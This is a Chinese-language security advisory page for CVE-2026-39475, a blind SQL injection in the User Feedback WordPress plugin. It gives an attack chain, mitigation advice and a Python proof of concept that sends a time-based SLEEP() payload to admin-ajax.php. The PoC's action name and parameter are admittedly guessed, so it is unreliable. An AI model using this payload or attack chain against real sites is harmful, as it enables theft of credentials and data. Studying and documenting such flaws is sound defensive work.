IPBUF安全漏洞报告
English
CVE-2026-39475 CVSS 7.6 高危

CVE-2026-39475 User Feedback插件SQL注入漏洞

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-39475
漏洞类型
SQL注入
CVSS评分
7.6 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
User Feedback (userfeedback-lite) WordPress Plugin

相关标签

SQL注入盲注WordPressUser FeedbackCVE-2026-39475高权限漏洞

漏洞概述

Syed Balkhi开发的User Feedback(userfeedback-lite)WordPress插件存在严重的SQL注入漏洞。该漏洞是由于插件在处理用户输入时,未能正确中和用于SQL命令中的特殊元素,导致攻击者能够构造恶意的数据库查询语句。受影响的产品版本涵盖1.10.1及以下的所有版本。尽管利用此漏洞需要高权限(通常是管理员权限),但一旦成功,攻击者即可执行盲注攻击,从数据库中窃取敏感信息,包括用户凭证、配置信息等。由于该漏洞会影响机密性,建议管理员立即采取行动修复此安全隐患,以防止数据泄露事件的发生。

技术细节

该漏洞的核心原理在于应用程序对用户输入的验证不足,导致未经过滤的数据直接被拼接到SQL查询中执行。具体来说,User Feedback插件中的某些功能点(如反馈检索或统计)在接收参数时,未使用预处理语句或严格的类型检查,从而引入了SQL注入风险。由于这是一个盲注漏洞,攻击者无法直接在页面上看到查询结果,必须依赖布尔逻辑或时间延迟来判断语句的真假。例如,通过发送包含`SLEEP()`函数的Payload,攻击者可以根据响应时间推断数据库内容。CVSS向量表明攻击路径为网络(AV:N),攻击复杂度低(AC:L),但需要高权限用户(PR:H)。这意味着攻击者首先需要获取WordPress管理员账户的访问权限。一旦突破权限限制,攻击者可以利用此漏洞遍历数据库表结构,读取`wp_users`表中的哈希密码或其他敏感配置,进而可能完全接管网站服务器。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标网站使用了User Feedback插件,并确认其版本小于等于1.10.1。
STEP 2
2. 获取权限
由于漏洞利用需要高权限(PR:H),攻击者需通过钓鱼、弱口令爆破或其他漏洞获取WordPress管理员账户的凭证。
STEP 3
3. 发起攻击
攻击者使用管理员身份登录,并在浏览器或利用工具中向插件接口发送包含恶意SQL语句的Payload(如基于时间的盲注语句)。
STEP 4
4. 数据窃取
通过分析服务器的响应时间或状态差异,攻击者逐位提取数据库中的敏感信息(如用户名、密码哈希、API密钥等)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import time # Exploit Title: User Feedback Plugin <= 1.10.1 - Blind SQL Injection (PoC) # Date: 2026-04-08 # Exploit Author: Analyst # Vendor Homepage: https://www.userfeedback.com/ # Software Link: https://wordpress.org/plugins/userfeedback-lite/ # Version: <= 1.10.1 # CVE: CVE-2026-39475 def check_sqli(target_url, cookie): """ Tests for Blind SQL Injection using time-based analysis. Note: This requires valid administrator session cookies (PR:H). """ # The vulnerable endpoint might be an AJAX action, e.g., sorting or fetching feedback # Adjust the 'action' and parameter name based on actual plugin behavior payload = { "action": "uf_sort_feedback", "orderby": "id ASC; IF(1=1, SLEEP(5), 0)-- -" } headers = { "Cookie": cookie, "User-Agent": "Mozilla/5.0 (Compatible; PoC-Scanner)", "Content-Type": "application/x-www-form-urlencoded" } try: start_time = time.time() response = requests.post(target_url, data=payload, headers=headers, timeout=10) end_time = time.time() elapsed = end_time - start_time if elapsed >= 5: print(f"[+] Vulnerability Confirmed! Response took {elapsed:.2f} seconds.") print("[+] The application is vulnerable to Blind SQL Injection.") else: print(f"[-] Not vulnerable or payload incorrect. Response took {elapsed:.2f} seconds.") except requests.exceptions.RequestException as e: print(f"[!] Connection error: {e}") if __name__ == "__main__": # Example usage # Replace with actual target URL and admin cookie target = "http://example.com/wp-admin/admin-ajax.php" admin_cookie = "wordpress_logged_in_xxxxxxxxxxxxxxxxxxxxxxxxxxxx" print("[*] Starting CVE-2026-39475 PoC...") check_sqli(target, admin_cookie)

影响范围

User Feedback <= 1.10.1

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用User Feedback插件以阻断攻击面。同时,应加强所有管理员账户的安全策略(如强制启用双因素认证),防止攻击者获得必要的高权限来利用此漏洞。此外,建议部署Web应用防火墙(WAF)以拦截常见的SQL注入攻击模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表